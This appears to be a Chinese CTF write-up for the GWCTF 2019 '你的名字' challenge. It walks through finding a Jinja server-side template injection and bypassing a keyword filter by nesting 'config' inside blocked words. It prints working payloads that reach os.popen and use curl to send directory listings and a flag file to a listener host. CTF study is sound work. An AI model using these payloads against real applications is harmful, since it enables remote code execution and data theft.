1. 程式人生 > 實用技巧 >刷題[GWCTF 2019]你的名字

刷題[GWCTF 2019]你的名字

解題思路

打開發現需要輸入名字,猜測會有sql注入漏洞,測試一下發現單引號被過濾了,再fuzs下看看過濾了哪些

長度為1518和1519的都有過濾,測試一下,感覺不是sql注入了。那還有什麼呢,考慮了ssti

使用{{7*7}},我直接傻了,怎麼python的後端會報php的錯,這裡直接思路斷了,找了其他的也沒有發現有什麼。直接看wp了,wp說看到返回頭後發現是python寫的後端,我這也沒看出來有啥啊,希望有師傅知道的留言下,從哪看出來的

作者說加了個php模式的報錯和index.php路由。好吧,直接被騙到了。其實這裡也能猜到可能是故意迷惑的,繼續往下走。

測試發現{{}}雙括號會過濾報錯,關於ssti的繞過可以看

這一篇,講的非常詳細

利用文章中的poc打

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=whoami').read()=='p' %}1{% endif %}

失敗了,感覺可能是有什麼的過濾,嘗試一下。發現此payload中的if、os、class、mro,config,popen都會被過濾成空,那採取雙寫繞過的思想

os使用oconfigsif使用iconfigf,class使用claconfigss

mro使用mrconfigo,popen使用popconfigen

payload:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d ls /|base64;') %}1{% endiconfigf %}

注意,這裡有幾個點:

  1. 所有被過濾的關鍵詞都要進行相應替換
  2. 這裡執行的是curl 靶機ip。需要在buu中另開一臺linux靶機進行監聽
  3. ls /是不行的,猜測會直接執行,所以要先用base加密輸出,才可輸出所有目錄

監聽靶機,監聽成功:

發現flag檔案:

執行命令:

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d cat /flag_1s_Hera;') %}1{% endiconfigf %}

在靶機中獲取到flag

總結思路

  • 通過報錯,猜測可能是ssti模板注入
  • 這裡需要手工測試過濾了哪些值
  • 改變相應的payload進行攻擊
  • 用os.popen+curl回顯資料

知識點

  • ssti
  • curl回顯資料